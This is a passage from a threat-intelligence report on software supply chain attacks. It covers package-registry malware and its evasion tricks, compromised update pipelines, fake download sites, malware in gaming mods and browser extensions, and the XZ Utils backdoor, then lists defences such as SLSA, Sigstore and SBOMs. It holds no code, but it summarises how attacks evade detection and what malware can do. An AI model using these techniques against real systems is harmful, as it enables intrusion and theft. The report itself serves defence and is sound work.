- Sonatype tracked 454,648 new malicious packages across npm, PyPI, Maven Central, and NuGet in a single year (2025 report).
|
||||||
|
- 156% year-over-year increase in malicious packages (Sonatype 2025).
|
||||||
|
- 15% of breaches now stem from supply chain attacks.
|
||||||
|
- Open source registries processed 9.8 trillion downloads across major ecosystems.
|
||||||
|
|
||||||
|
### Evasion Techniques
|
||||||
|
|
||||||
|
- **Delayed execution**: Malicious payloads activate only after a timer or specific trigger date
|
||||||
|
- **Remotely-controlled kill switches**: Fetch executable code at runtime from C2 servers
|
||||||
|
- **Install-time scripts**: `postinstall` hooks in npm, `setup.py` execution in PyPI
|
||||||
|
- **Obfuscated payloads**: Base64-encoded, string-split, or encrypted code blocks
|
||||||
|
- **Conditional activation**: Check for CI environment variables, geolocation, or specific hostnames before executing
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Compromised Software Update Mechanisms
|
||||||
|
|
||||||
|
These represent the highest-impact supply chain attacks because they abuse the implicit trust users place in signed, official software updates.
|
||||||
|
|
||||||
|
### SolarWinds / SUNBURST (December 2020)
|
||||||
|
|
||||||
|
**Attack chain:**
|
||||||
|
1. Attackers (attributed to Russian SVR / APT29) infiltrated SolarWinds' build environment
|
||||||
|
2. Malicious code injected into the Orion platform's DLL (`SolarWinds.Orion.Core.BusinessLayer.dll`) *before* code signing
|
||||||
|
3. SolarWinds digitally signed the backdoored build -- the signature was legitimate
|
||||||
|
4. Trojanized updates distributed via normal update channel to ~18,000 organizations
|
||||||
|
5. Backdoor (SUNBURST) communicated via DNS to C2, with domain names generated from victim environment data
|
||||||
|
6. Secondary payloads (TEARDROP, Raindrop) deployed selectively against high-value targets
|
||||||
|
|
||||||
|
**Impact:** US Treasury, Commerce Department, DHS, DOJ, Fortune 500 companies. Estimated 100+ organizations actively exploited out of 18,000 infected.
|
||||||
|
|
||||||
|
**Key lesson:** Code signing alone is not a defense if the build pipeline is compromised. The signature validated that the code came from SolarWinds -- which it did, because the build system itself was owned.
|
||||||
|
|
||||||
|
### Kaseya VSA / REvil (July 2021)
|
||||||
|
|
||||||
|
**Attack chain:**
|
||||||
|
1. REvil ransomware gang exploited zero-day vulnerabilities in Kaseya's VSA (Virtual System Administrator) on-premises servers
|
||||||
|
2. VSA is used by Managed Service Providers (MSPs) to manage client endpoints
|
||||||
|
3. Attackers sent malicious updates through VSA to MSP client systems
|
||||||
|
4. 800-1,500 downstream businesses hit with ransomware through a small number of compromised MSPs
|
||||||
|
|
||||||
|
**Key lesson:** MSP/RMM tools are force multipliers -- compromising one MSP cascades to hundreds of endpoints. The trust model of remote management tools makes them ideal supply chain pivot points.
|
||||||
|
|
||||||
|
### Codecov Bash Uploader (January-April 2021)
|
||||||
|
|
||||||
|
**Attack chain:**
|
||||||
|
1. Attackers found credentials leaked via an error in Codecov's Docker image creation process
|
||||||
|
2. Used credentials to modify the Bash Uploader script hosted at `codecov.io/bash`
|
||||||
|
3. Modified script exfiltrated CI environment variables (secrets, tokens, API keys) from every CI pipeline using Codecov
|
||||||
|
4. Exfiltrated data sent to attacker-controlled server
|
||||||
|
5. Went undetected for ~3 months (Jan 31 - April 1, 2021)
|
||||||
|
|
||||||
|
**Key lesson:** CI/CD scripts fetched from remote URLs at build time are a single point of compromise. Any secrets in CI environment variables were exposed.
|
||||||
|
|
||||||
|
### 3CX Desktop App (March 2023)
|
||||||
|
|
||||||
|
**Attack chain:**
|
||||||
|
1. A 3CX developer installed a trojanized trading application (Trading Technologies X_TRADER)
|
||||||
|
2. That trojanized app stole the developer's credentials
|
||||||
|
3. Attackers used stolen credentials to access 3CX build environment
|
||||||
|
4. Malicious DLL (ffmpeg.dll) bundled into signed 3CX desktop client
|
||||||
|
5. Valid 3CX code-signing certificate used -- downloads came from official 3CX servers
|
||||||
|
6. Attribution: Lazarus Group (North Korea) -- a supply chain attack that originated from *another* supply chain attack
|
||||||
|
|
||||||
|
**Key lesson:** This was a chained supply chain attack -- Trading Technologies was compromised first, then used as a vector into 3CX. Attackers are now chaining compromises across organizations.
|
||||||
|
|
||||||
|
### Common Patterns Across All Four
|
||||||
|
|
||||||
|
1. **Legitimate signatures**: All attacks distributed code signed with valid certificates
|
||||||
|
2. **Build environment as target**: The build pipeline, not the source repository, was the point of injection
|
||||||
|
3. **Trust inheritance**: Downstream consumers trusted the update because the vendor's signing infrastructure said it was authentic
|
||||||
|
4. **Dwell time**: Weeks to months before detection (SolarWinds: ~9 months, Codecov: ~3 months)
|
||||||
|
5. **Selective targeting**: Sophisticated actors (SolarWinds, 3CX) used the broad compromise to selectively target high-value victims
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Fake Software Distribution Sites
|
||||||
|
|
||||||
|
### SEO Poisoning Campaigns
|
||||||
|
|
||||||
|
Attackers create convincing clones of legitimate software download pages, then use SEO manipulation and/or paid Google Ads to rank them above or alongside official sites in search results.
|
||||||
|
|
||||||
|
**Scale (2024-2025):**
|
||||||
|
- A 15,000-site campaign discovered in 2024 compromised victims within days of going live
|
||||||
|
- PuTTY/WinSCP campaign reached 8,500+ infected IT administrator systems in under two weeks
|
||||||
|
- Campaigns target searchers for: OBS, Blender, VLC, 7-Zip, CCleaner, PuTTY, WinSCP, Notepad++, and other popular free tools
|
||||||
|
|
||||||
|
**Techniques:**
|
||||||
|
- **Google Ads abuse**: Purchasing ad placement for software names; malicious ads appear above organic results
|
||||||
|
- **SEO plugin manipulation**: Compromising legitimate sites and injecting SEO plugins to boost rankings
|
||||||
|
- **Lookalike domains**: Registering domains visually similar to official sites (e.g., `n0tepad-plus.com`)
|
||||||
|
- **Legitimate-looking landing pages**: Pixel-perfect clones of official download pages
|
||||||
|
- **Signed malware**: Some campaigns use stolen or purchased code-signing certificates
|
||||||
|
|
||||||
|
**Payloads commonly delivered:**
|
||||||
|
- Vidar info-stealer (via fake Blender/OBS downloads)
|
||||||
|
- IcedID/BokBot (via fake productivity software)
|
||||||
|
- Raccoon Stealer, RedLine, Lumma
|
||||||
|
- Backdoored legitimate installers (real software + embedded malware)
|
||||||
|
|
||||||
|
### Notepad++ Supply Chain Compromise (2025-2026)
|
||||||
|
|
||||||
|
A particularly sophisticated attack attributed to Chinese state-sponsored actors:
|
||||||
|
|
||||||
|
1. Attackers compromised the shared hosting provider for Notepad++ update infrastructure (June 2025)
|
||||||
|
2. Gained control of the WinGUp update distribution system
|
||||||
|
3. Intercepted update requests and fingerprinted users by IP range and geolocation
|
||||||
|
4. Selectively redirected targeted users to trojanized Notepad++ installers (versions 8.8.2 through 8.8.9)
|
||||||
|
5. Non-targeted users received legitimate updates -- making detection extremely difficult
|
||||||
|
|
||||||
|
**Key lesson:** Even official update mechanisms served from legitimate infrastructure can be compromised at the hosting/CDN layer. Targeted delivery by IP fingerprinting evades broad detection.
|
||||||
|
|
||||||
|
### Chinese-Language SEO Campaigns (2025)
|
||||||
|
|
||||||
|
HiddenGh0st, Winos, and kkRAT malware distributed via:
|
||||||
|
- Fake software sites targeting Chinese-speaking users
|
||||||
|
- SEO plugins injected into compromised legitimate sites
|
||||||
|
- Lookalike domains mimicking popular Chinese software portals
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Gaming & Modding Community Attacks
|
||||||
|
|
||||||
|
Gaming communities are high-value targets because: (a) younger demographics with less security awareness, (b) mods/plugins routinely require elevated permissions, (c) modding platforms have minimal security review, (d) gaming credentials and in-game items have monetary value.
|
||||||
|
|
||||||
|
### Fractureiser -- Minecraft (June 2023)
|
||||||
|
|
||||||
|
**The most significant gaming supply chain attack to date.**
|
||||||
|
|
||||||
|
**Attack chain:**
|
||||||
|
1. Attackers compromised CurseForge and BukkitDev maintainer accounts
|
||||||
|
2. Injected malicious code into copies of popular Minecraft mods and plugins
|
||||||
|
3. Infected mods distributed through CurseForge -- including popular modpacks like "Better Minecraft"
|
||||||
|
4. Malicious JARs as early as mid-April 2023; discovered June 2023
|
||||||
|
5. Luna Pixel Studios developer tried an infected mod, leading to supply chain cascade into their modpacks
|
||||||
|
|
||||||
|
**Malware capabilities:**
|
||||||
|
- **Self-replication**: Infected every `.jar` file on the filesystem by injecting Stage 0 loader
|
||||||
|
- **Credential theft**: Stole browser cookies, saved passwords, payment information
|
||||||
|
- **Token theft**: Stole Discord tokens, Minecraft session tokens
|
||||||
|
- **Clipboard hijacking**: Replaced cryptocurrency wallet addresses
|
||||||
|
- **Multi-stage**: Downloaded additional payloads from C2 servers
|
||||||
|
- **Cross-platform**: Targeted both Windows and Linux
|
||||||
|
|
||||||
|
**Key lesson:** Modding platforms lack the security infrastructure of major package registries. A single compromised account on CurseForge had blast radius comparable to a major npm incident. The self-replicating nature meant sharing any `.jar` from an infected system spread the infection.
|
||||||
|
|
||||||
|
**Community response:**
|
||||||
|
- Fractureiser Mitigation Team formed (June 8, 2023 meeting)
|
||||||
|
- CurseForge implemented additional account security measures
|
||||||
|
- Community-developed detection tools released
|
||||||
|
- Discussion of mod signing and verification standards
|
||||||
|
|
||||||
|
### Steam Workshop Attacks
|
||||||
|
|
||||||
|
- **People Playground** (Feb 2026): Malware spread through Steam Workshop mods, deleting other mods and save files
|
||||||
|
- **Slay the Spire / Downfall mod** (Dec 2023): Developer's Steam and Discord accounts hijacked; malicious update pushed that could overtake the game completely
|
||||||
|
- **Cities Skylines 2** (2024): DLL hijacking attack via Workshop mod, confirmed by Paradox Interactive
|
||||||
|
|
||||||
|
**Structural problem:** Steam Workshop mods are *not* scanned or manually vetted by Valve. Games with Lua/DLL mod support effectively allow arbitrary code execution. Users treat Workshop content as implicitly trusted because it's on Steam's platform.
|
||||||
|
|
||||||
|
### Roblox Developer Targeting
|
||||||
|
|
||||||
|
- Year-long npm malware campaign impersonating the popular "noblox.js" library (Roblox API wrapper)
|
||||||
|
- Dozens of typosquat packages published to steal credentials and deploy RATs
|
||||||
|
- Malware capabilities: Discord token theft, system info harvesting, persistence, Quasar RAT deployment
|
||||||
|
- Separate campaigns use fake "FPS Booster" YouTube videos linking to Discord servers distributing infostealers
|
||||||
|
|
||||||
|
### Discord as Attack Infrastructure
|
||||||
|
|
||||||
|
Discord is both a target and a tool:
|
||||||
|
|
||||||
|
**As a target:**
|
||||||
|
- Fake Safeguard bots prompt users to "verify" via phishing sites mimicking Discord UI
|
||||||
|
- Token stealers specifically target Discord credentials for account takeover
|
||||||
|
- Compromised Discord bots used to distribute malware links in trusted servers
|
||||||
|
|
||||||
|
**As C2 infrastructure:**
|
||||||
|
- Malware uses Discord bot APIs for command and control
|
||||||
|
- Stolen data exfiltrated to private Discord channels
|
||||||
|
- Discord webhook URLs used as dead-simple data exfiltration endpoints
|
||||||
|
- CDN (`cdn.discordapp.com`) used to host malware payloads
|
||||||
|
|
||||||
|
### Top Sources of Gaming-Related Infections (2025 study)
|
||||||
|
|
||||||
|
1. Grand Theft Auto (unofficial mods/cheats)
|
||||||
|
2. Roblox
|
||||||
|
3. Valorant
|
||||||
|
4. Counter-Strike
|
||||||
|
5. Fortnite
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Browser Extension Attacks
|
||||||
|
|
||||||
|
### Attack Vectors
|
||||||
|
|
||||||
|
1. **Developer account phishing**: Targeted phishing emails claiming Chrome Web Store policy violations, threatening extension removal
|
||||||
|
2. **OAuth token theft**: Phishing pages grant attacker OAuth permissions to publish updates
|
||||||
|
3. **Extension purchase**: Buying legitimate extensions from original developers, then pushing malicious updates
|
||||||
|
4. **Malicious new extensions**: Publishing extensions with hidden malicious functionality
|
||||||
|
5. **Dependency attacks**: Injecting malicious code into shared libraries used by extensions
|
||||||
|
|
||||||
|
### Major Incidents
|
||||||
|
|
||||||
|
#### Cyberhaven / December 2024 Campaign
|
||||||
|
|
||||||
|
- Threat actor phished developer accounts via emails impersonating Chrome Web Store
|
||||||
|
- Pushed malicious updates to **35 extensions** affecting **3.7 million users**
|
||||||
|
- Cyberhaven's extension specifically compromised on Dec 26, 2024
|
||||||
|
- Malicious code harvested OAuth tokens from Google Workspace, Slack, and Jira
|
||||||
|
- Exfiltrated HTTP headers and DOM content based on dynamic configuration from C2
|
||||||
|
|
||||||
|
#### TamperedChef Campaign (February 2025)
|
||||||
|
|
||||||
|
- GitLab Threat Intelligence uncovered compromise of **16 Chrome extensions**
|
||||||
|
- **3.2 million users** affected
|
||||||
|
- Attack methods: purchasing extensions from developers OR compromising developer accounts
|
||||||
|
- Injected JavaScript connected to remote C2 for dynamic command execution
|
||||||
|
- Could receive and execute arbitrary commands
|
||||||
|
|
||||||
|
#### Firefox Cryptocurrency Extension Attacks
|
||||||
|
|
||||||
|
- 45 malicious Firefox extensions impersonating legitimate crypto wallets
|
||||||
|
- Mimicked: Coinbase, MetaMask, Trust Wallet, Phantom, Exodus, OKX, Keplr, MyMonero, Bitget, Leap
|
||||||
|
- Designed to steal private keys, seed phrases, and redirect transactions
|
||||||
|
|
||||||
|
### Malicious Extension Behaviors
|
||||||
|
|
||||||
|
- **Credential harvesting**: Intercepting login forms and exfiltrating credentials
|
||||||
|
- **Session hijacking**: Stealing cookies and OAuth tokens
|
||||||
|
- **Browser hijacking**: Redirecting URLs through affiliate/malware links
|
||||||
|
- **Traffic interception**: Man-in-the-browser for financial transactions
|
||||||
|
- **Cryptojacking**: Using browser compute for cryptocurrency mining
|
||||||
|
- **Surveillance**: Capturing browsing history, keystrokes, screenshots
|
||||||
|
|
||||||
|
### Scale
|
||||||
|
|
||||||
|
- A 2025 study (arxiv.org) provides systematic analysis of malicious browser extension trends
|
||||||
|
- 1.7 million+ users installed malicious extensions in a single campaign cluster
|
||||||
|
- Total affected users across 2024-2025 campaigns: millions
|
||||||
|
- Extensions with legitimate functionality + hidden malicious code are hardest to detect
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Open Source Maintainer Compromise
|
||||||
|
|
||||||
|
### The XZ Utils Backdoor (CVE-2024-3094) -- The Gold Standard of Social Engineering
|
||||||
|
|
||||||
|
**Timeline:**
|
||||||
|
- **November 2021**: Account "Jia Tan" (JiaT75) begins contributing to xz-utils
|
||||||
|
- **2022**: Sock puppet accounts (Jigar Kumar, krygorin4545, misoeater91) pressure the sole maintainer Lasse Collin, complaining about slow releases and suggesting new maintainers
|
||||||
|
- **2022-2023**: Jia Tan builds trust through legitimate contributions, gradually gains co-maintainer status
|
||||||
|
- **February 2024**: Jia Tan pushes xz-utils versions 5.6.0 and 5.6.1 containing a backdoor
|
||||||
|
- **March 29, 2024**: Andres Freund discovers the backdoor via SSH performance anomalies
|
||||||
|
|
||||||
|
**Technical details:**
|
||||||
|
- Backdoor gave anyone with a specific **Ed448 private key** remote code execution via OpenSSH
|
||||||
|
- CVSS score: **10.0** (maximum)
|
||||||
|
- Backdoor was hidden in binary test files, activated through the build system (not visible in source review)
|
||||||
|
- Targeted `liblzma`, which is linked by `sshd` on many Linux distributions via systemd
|
||||||
|
- Only affected specific build configurations -- indicating deep knowledge of Linux distribution packaging
|
||||||
|
|
||||||
|
**Why it nearly succeeded:**
|
||||||
|
- 2+ years of patient social engineering
|
||||||
|
- Legitimate, helpful contributions built trust
|
||||||
|
- Exploited maintainer burnout in a critical but underfunded project
|
||||||
|
- Sock puppets created artificial community pressure for the takeover
|
||||||
|
- Backdoor hidden in test data, not in reviewable source code
|
||||||
|
- Caught by accident (performance regression), not by security review
|
||||||
|
|
||||||
|
**Community response:**
|
||||||
|
- OpenSSF and OpenJS Foundation issued joint warning that this "may not be an isolated incident"
|
||||||
|
- Reported similar social engineering attempts against JavaScript projects hosted by OpenJS
|
||||||
|
- Warning signs identified: "friendly yet aggressive and persistent pursuit" by unknown community members seeking maintainer status
|
||||||
|
|
||||||
|
### GhostAction / GitHub Actions Compromise (September 2025)
|
||||||
|
|
||||||
|
- GitGuardian discovered campaign affecting **327 GitHub users** across **817 repositories**
|
||||||
|
- Attackers injected malicious GitHub Actions workflows
|
||||||
|
- Exfiltrated **3,325 secrets** (API keys, tokens, credentials)
|
||||||
|
- Exploited the trust model of GitHub Actions where workflows have access to repository secrets
|
||||||
|
|
||||||
|
### Patterns of Maintainer Social Engineering
|
||||||
|
|
||||||
|
1. **Long-game trust building**: Months to years of legitimate contributions before injecting malicious code
|
||||||
|
2. **Burnout exploitation**: Targeting overworked solo maintainers of critical infrastructure
|
||||||
|
3. **Sock puppet pressure**: Creating fake community members who demand changes or new maintainers
|
||||||
|
4. **Ownership transfer requests**: Approaching maintainers of abandoned or low-activity packages
|
||||||
|
5. **Expired domain hijacking**: Re-registering expired maintainer email domains to reset passwords (ctx/phpass incident)
|
||||||
|
6. **Corporate employee targeting**: Phishing developers at companies who maintain popular packages
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Defensive Measures by Vector
|
||||||
|
|
||||||
|
### 7.1 Package Registry Defenses
|
||||||
|
|
||||||
|
**Package Signing & Verification:**
|
||||||
|
- npm: Package provenance via Sigstore (npm provenance) -- links packages to source repos and build systems
|
||||||
|
- PyPI: Trusted Publishers (OIDC-based, eliminates long-lived API tokens)
|
||||||
|
- NuGet: Package signing certificates, but dependency confusion still possible without `packageSourceMapping`
|
||||||
|
- Maven: Strict group ID verification via DNS ownership
|
||||||
|
|
||||||
|
**Lockfiles & Pinning:**
|
||||||
|
- Always commit lockfiles (`package-lock.json`, `Pipfile.lock`, `poetry.lock`)
|
||||||
|
- Pin exact versions, not ranges
|
||||||
|
- Use `npm ci` (not `npm install`) in CI/CD
|
||||||
|
- NuGet: Configure `packageSourceMapping` in `nuget.config` to bind package names to specific sources
|
||||||
|
|
||||||
|
**Scanning & Monitoring:**
|
||||||
|
- Socket.dev: Real-time detection of suspicious package behavior (install scripts, network access, obfuscation)
|
||||||
|
- Snyk: Vulnerability and malicious package scanning
|
||||||
|
- Checkmarx Supply Chain Security: Behavioral analysis of packages
|
||||||
|
- `npm audit`, `pip-audit`, `dotnet list package --vulnerable`
|
||||||
|
- OpenSSF Scorecard: Automated security health assessment of open source projects
|
||||||
|
|
||||||
|
**Policy:**
|
||||||
|
- Review all new dependencies before adding them
|
||||||
|
- Audit `postinstall` / `preinstall` scripts (npm: `--ignore-scripts` then selectively allow)
|
||||||
|
- Prefer packages with provenance attestations
|
||||||
|
- Monitor for dependency updates that add new capabilities (network, filesystem, child_process)
|
||||||
|
|
||||||
|
### 7.2 Build Pipeline Defenses
|
||||||
|
|
||||||
|
**SLSA Framework (Supply-chain Levels for Software Artifacts):**
|
||||||
|
|
||||||
|
| Level | Requirements | Protects Against |
|
||||||
|
|-------|-------------|------------------|
|
||||||
|
| SLSA 1 | Automated provenance generation describing how artifact was built | Basic provenance |
|
||||||
|
| SLSA 2 | Digitally signed provenance from build platform | Provenance forgery |
|
||||||
|
| SLSA 3 | Hermetic builds, ephemeral environments, cryptographically signed provenance | Build environment tampering |
|
||||||
|
| SLSA 4 | Two-party review of all source changes | Single compromised insider |
|
||||||
|
|
||||||
|
**Sigstore / Cosign:**
|
||||||
|
- **Fulcio**: Issues short-lived certificates tied to OIDC identity (no long-lived keys to steal)
|
||||||
|
- **Cosign**: Signs and verifies container images, binaries, and artifacts
|
||||||
|
- **Rekor**: Append-only transparency log recording all signatures (tamper-evident)
|
||||||
|
- Eliminates the "stolen signing key" problem by making keys ephemeral
|
||||||
|
|
||||||
|
**Reproducible Builds:**
|
||||||
|
- Allows independent verification that a binary was built from claimed source
|
||||||
|
- Debian, Arch Linux, and others have reproducible build initiatives
|
||||||
|
- Catches SolarWinds-style attacks where the build output differs from what the source code would produce
|
||||||
|
- Tools: `diffoscope`, `reprotest`, `in-toto`
|
||||||
|
|
||||||
|
**CI/CD Hardening:**
|
||||||
|
- Never fetch scripts from remote URLs at build time (Codecov lesson)
|
||||||
|
- Pin all CI/CD action versions by SHA, not tag
|
||||||
|
- Use ephemeral build environments (no persistent state between builds)
|
||||||
|
- Limit CI secret access to minimum necessary
|
||||||
|
- Enable branch protection with required reviews
|
||||||
|
- Audit GitHub Actions for third-party actions with excessive permissions
|
||||||
|
|
||||||
|
### 7.3 Software Update Defenses
|
||||||
|
|
||||||
|
**For software vendors:**
|
||||||
|
- Implement The Update Framework (TUF) for secure update delivery
|
||||||
|
- Sign updates with keys stored in HSMs, not build servers
|
||||||
|
- Implement binary transparency logs
|
||||||
|
- Use reproducible builds to allow third-party verification
|
||||||
|
- Separate build signing from distribution infrastructure
|
||||||
|
|
||||||
|
**For consumers:**
|
||||||
|
- Verify update signatures independently where possible
|
||||||
|
- Monitor for unexpected update behavior
|
||||||
|
- Use EDR/XDR that monitors signed software for anomalous post-update behavior
|
||||||
|
- For critical infrastructure: delay updates and test in isolated environments
|
||||||
|
- Subscribe to vendor security advisories
|
||||||
|
|
||||||
|
### 7.4 Fake Download Site Defenses
|
||||||
|
|
||||||
|
**For users:**
|
||||||
|
- Always navigate to official sites directly (bookmark them), never via search results
|
||||||
|
- Verify download hashes against those published on official sites
|
||||||
|
- Be suspicious of Google Ads results for software downloads
|
||||||
|
- Use official package managers (winget, brew, apt, choco) instead of downloading installers
|
||||||
|
- Check certificate details on download sites
|
||||||
|
|
||||||
|
**For organizations:**
|
||||||
|
- DNS filtering to block known malicious domains
|
||||||
|
- Application allowlisting -- only approved software can execute
|
||||||
|
- EDR with behavioral analysis (catches trojanized installers)
|
||||||
|
- Web content filtering blocking ad-served downloads
|
||||||
|
- User training specifically about fake download sites
|
||||||
|
|
||||||
|
### 7.5 Gaming/Modding Community Defenses
|
||||||
|
|
||||||
|
- Only install mods from official platforms (CurseForge, Steam Workshop, Modrinth)
|
||||||
|
- Even on official platforms, check mod age, download count, author history
|
||||||
|
- Run modded games in sandboxed environments where possible
|
||||||
|
- Use antivirus that scans JAR/DLL files
|
||||||
|
- Be skeptical of Discord-distributed mods, "FPS boosters," or free premium content
|
||||||
|
- For Minecraft: Use Prism Launcher or similar launchers with mod verification
|
||||||
|
- Post-fractureiser: Community-developed detection tools available on GitHub
|
||||||
|
|
||||||
|
### 7.6 Browser Extension Defenses
|
||||||
|
|
||||||
|
**For users:**
|
||||||
|
- Minimize installed extensions (each is an attack surface)
|
||||||
|
- Review permissions requested by extensions before installing
|
||||||
|
- Prefer extensions from well-known, audited developers
|
||||||
|
- Regularly audit installed extensions and remove unused ones
|
||||||
|
- Disable automatic extension updates; review changelogs before updating
|
||||||
|
- Never install extensions from outside official stores
|
||||||
|
|
||||||
|
**For organizations:**
|
||||||
|
- Use Chrome Enterprise policies to allowlist/blocklist extensions
|
||||||
|
- Browser extension risk assessment tools (Spin.AI, CRXcavator)
|
||||||
|
- Monitor for new extension installations across fleet
|
||||||
|
- Block extension installation from non-approved sources
|
||||||
|
- Regular audits of approved extensions for ownership changes
|
||||||
|
|
||||||
|
**Chrome Web Store defenses:**
|
||||||
|
- Manifest V3 reduces extension capabilities (more limited APIs, declarativeNetRequest)
|
||||||
|
- Google's automated malware scanning
|
||||||
|
- Developer verification requirements
|
||||||
|
- Publication delays for review (but phishing bypasses this by updating existing extensions)
|
||||||
|
|
||||||
|
### 7.7 Maintainer Compromise Defenses
|
||||||
|
|
||||||
|
**For maintainers:**
|
||||||
|
- Enable MFA on all registry and source control accounts
|
||||||
|
- Use hardware security keys (YubiKey) -- phishing-resistant
|
||||||
|
- Be wary of social engineering patterns: pressure to add co-maintainers, sock puppet complaints
|
||||||
|
- OpenSSF warning signs: "friendly yet aggressive and persistent pursuit" of maintainer access
|
||||||
|
- Require GPG-signed commits
|
||||||
|
- Never transfer ownership to accounts without established identity
|
||||||
|
|
||||||
|
**For consumers of open source:**
|
||||||
|
- Monitor projects for maintainer changes (especially sole-maintainer projects)
|
||||||
|
- OpenSSF Scorecard checks for security practices
|
||||||
|
- Use tools that detect behavioral changes in package updates
|
||||||
|
- For critical dependencies: fork and maintain internally, cherry-pick upstream changes after review
|
||||||
|
- SBOM + vulnerability monitoring for transitive dependencies
|
||||||
|
|
||||||
|
### 7.8 SBOM (Software Bill of Materials)
|
||||||
|
|
||||||
|
**CISA 2025 Minimum Elements:**
|
||||||
|
- Updated from 2021 NTIA guidance with expanded requirements
|
||||||
|
- Covers: component identification, dependency relationships, licensing, known vulnerabilities
|
||||||
|
- Formats: SPDX 3, CycloneDX
|
||||||
|
- Tools: Syft (generation), Grype (vulnerability matching), GUAC (graph analysis)
|
||||||
|
|
||||||
|
**Operational use:**
|
||||||
|
- Inventory all software components including transitive dependencies
|
||||||
|
- Automate SBOM generation in CI/CD pipelines
|
||||||
|
- Cross-reference SBOMs against vulnerability databases continuously
|
||||||
|
- SBOM sharing between vendors and customers for supply chain transparency
|
||||||
|
- Required for US federal government software procurement (Executive Order 14028)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Key Metrics & Trends
|
||||||
|
|
||||||
|
### Attack Volume
|
||||||
|
|
||||||
|
| Metric | Value | Source |
|
||||||
|
|--------|-------|--------|
|
||||||
|
| Malicious packages published (annual) | 454,648 | Sonatype 2025 |
|
||||||
|
| YoY increase in malicious packages | 156% | Sonatype 2025 |
|
||||||
|
| Breaches from supply chain attacks | 15% | Industry aggregate |
|
||||||
|
| npm malicious package reports (2018 vs 2024) | 38 vs 2,168 | Snyk |
|
||||||
|
| Browser extension users affected (Dec 2024) | 3.7 million | Cyberhaven incident |
|
||||||
|
| XZ Utils CVSS score | 10.0 | NVD |
|
||||||
|
|
||||||
|
### Trend Analysis (2023-2026)
|
||||||
|
|
||||||
|
1. **Cross-ecosystem attacks increasing**: Campaigns now target npm + PyPI + Maven simultaneously (MUT-8694, Shai-Hulud v2)
|
||||||
|
2. **Chained supply chain attacks**: 3CX was compromised via a prior compromise of Trading Technologies
|
||||||
|
3. **Nation-state participation**: XZ Utils (suspected state actor), Notepad++ (Chinese APT), 3CX (Lazarus/DPRK), SolarWinds (Russian SVR)
|
||||||
|
4. **Targeting of security tools**: Attackers increasingly target the tools organizations use to defend themselves (Codecov, CI/CD pipelines)
|
||||||
|
5. **AI-assisted attacks**: Emerging use of AI to generate convincing typosquat packages and social engineering content at scale
|
||||||
|
6. **Gaming as entry vector**: Gaming malware on personal devices leading to corporate credential theft (Roblox-to-corporate pipeline)
|
||||||
|
7. **Update mechanism targeting**: Shift from compromising source code to compromising distribution infrastructure (hosting providers, CDNs, update servers)
|
||||||
|
|
||||||
|
### Defensive Maturity
|
||||||
|
|
||||||
|
The industry is responding but lags behind attack sophistication:
|
||||||
|
- SLSA, Sigstore, and SBOM adoption accelerating but not yet universal
|
||||||
|
- npm provenance and PyPI Trusted Publishers are significant improvements
|
||||||
|
- Chrome Manifest V3 reduces but does not eliminate extension attack surface
|
||||||
|
- No equivalent security framework exists for gaming mod ecosystems
|
||||||
|
- XZ Utils demonstrated that even years of trust-building can be a social engineering attack -- technical controls alone are insufficient
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sources
|
||||||
|
|
||||||
|
### Package Attacks
|
||||||
|
- [Rescana: In-Depth Analysis of npm Supply Chain Poisoning](https://www.rescana.com/post/in-depth-analysis-supply-chain-poisoning-of-popular-npm-packages-exploiting-event-stream-ua-parser)
|
||||||
|
- [ArmorCode: Inside the September 2025 NPM Supply Chain Attack](https://www.armorcode.com/blog/inside-the-september-2025-npm-supply-chain-attack)
|
||||||
|
- [Datadog: MUT-8694 npm and PyPI Malicious Campaign](https://securitylabs.datadoghq.com/articles/mut-8964-an-npm-and-pypi-malicious-campaign-targeting-windows-users/)
|
||||||
|
- [Trail of Bits: Supply Chain Attacks Are Exploiting Our Assumptions](https://blog.trailofbits.com/2025/09/24/supply-chain-attacks-are-exploiting-our-assumptions/)
|
||||||
|
- [GitGuardian: Typosquatting and Dependency Confusion](https://blog.gitguardian.com/protecting-your-software-supply-chain-understanding-typosquatting-and-dependency-confusion-attacks/)
|
||||||
|
- [Checkmarx: Chalk and 17 Other NPM Packages Compromised](https://checkmarx.com/zero-post/chalk-and-17-other-npm-packages-compromised-in-supply-chain-attack/)
|
||||||
|
- [Hacker News: Shai-Hulud v2 Spreads From npm to Maven](https://thehackernews.com/2025/11/shai-hulud-v2-campaign-spreads-from-npm.html)
|
||||||
|
- [Hacker News: Hidden Logic Bombs in NuGet Packages](https://thehackernews.com/2025/11/hidden-logic-bombs-in-malware-laced.html)
|
||||||
|
- [CISA: Widespread Supply Chain Compromise Impacting npm Ecosystem](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)
|
||||||
|
- [Sonatype: History of Software Supply Chain Attacks](https://www.sonatype.com/resources/vulnerability-timeline)
|
||||||
|
|
||||||
|
### Build Pipeline Compromises
|
||||||
|
- [Beyond Identity: SolarWinds, Kaseya, and NotPetya Methods](https://www.beyondidentity.com/resource/software-supply-chain-attack-methods-behind-solarwinds-kaseya-and-notpetya-and-how-to-prevent-them)
|
||||||
|
- [Sonatype: 3CX Supply Chain Attack Analysis](https://www.sonatype.com/blog/another-solarwinds-the-latest-software-supply-chain-attack-on-3cx)
|
||||||
|
- [Malwarebytes: Codecov Supply Chain Compromise](https://www.malwarebytes.com/blog/awareness/2021/04/codecov-supply-chain-compromise-likened-to-solarwinds-attack)
|
||||||
|
- [Computer Weekly: Codecov Supply Chain Attack](https://www.computerweekly.com/news/252499587/Codecov-supply-chain-attack-has-echoes-of-SolarWinds)
|
||||||
|
|
||||||
|
### Fake Software Distribution
|
||||||
|
- [ThreatLocker: Notepad++ Supply Chain Compromise](https://www.threatlocker.com/blog/notepad-supply-chain-compromise-trojanized-updates-used-in-suspected-nation-state-attack)
|
||||||
|
- [Hacker News: Notepad++ Update Mechanism Hijacked](https://thehackernews.com/2026/02/notepad-official-update-mechanism.html)
|
||||||
|
